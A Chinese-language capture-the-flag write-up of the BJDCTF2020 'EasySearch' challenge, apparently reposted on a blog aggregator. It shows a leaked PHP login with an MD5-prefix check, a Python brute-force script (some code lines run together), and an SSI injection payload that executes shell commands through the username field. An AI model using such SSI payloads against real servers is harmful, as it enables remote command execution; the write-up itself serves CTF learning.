[BUUOJ记录] [BJDCTF2020]EasySearch

[BUUOJ记录] [BJDCTF2020]EasySearch,第1张

[BUUOJ记录] [BJDCTF2020]EasySearch

前面的突破点考察swp泄露以及md5截断认证,最后一步考察ssi注入

进入题目是一个登陆页面什么提示都没有,工具扫了一下发现swp泄露,得到登录验证页面的源码:

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>"; }else
{
***
}
***
?>

登录页面的突破点在这里:

 $admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
        ......

要求输入的密码Md5前6位等于6d0bc1,Md5截断验证,参考我之前的两篇博客:

https://www.cnblogs.com/yesec/p/11297568.html

https://www.cnblogs.com/yesec/p/11300841.html

直接放脚本:

from multiprocessing.dummy import Pool as tp
import hashlib knownMd5 = '6d0bc1' def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest() def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print(code)
break list=[]
for i in range(5):
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()
pool.map(findCode, list)
pool.close()
pool.join()

爆破出来可以使用2020666登录,随便输入一个用户名即可登录

登陆上去发现什么都没有,用8倍镜可以看到有一行灰色小字:

应该是一个hint,看一下Header信息:

得到路径,输入地址看一下:

可以看到用户名是被直接输出了,一开始看到底下的IP还以为是ssti,后来测试了一下发现没有什么用,这时候才发现是shtml页面

想到可能存在SSI注入,这里我们的用户名是可控的

关于SSI注入可以参考这篇文章:https://www.secpulse.com/archives/66934.html

构造Payload测试一下:

<!--#exec cmd="ls ../"-->

返回登录页面将Payload当作用户名,密码2020666登录,进入Header中提示的页面:

可以看到我们的命令被执行了,但是此时我们ls的是/public/目录,我们再列出网站根目录下的所有文件:

<!--#exec cmd="ls ../"-->

找到了Flag所在的文件,直接访问得到Flag:

关于SSI注入可以参考:https://www.secpulse.com/archives/66934.html

在做题的过程中如果遇到shtml就可以考虑一下是否存在SSI注入

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/588559.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-12
下一篇 2022-04-12

发表评论

登录后才能评论

评论列表(0条)

保存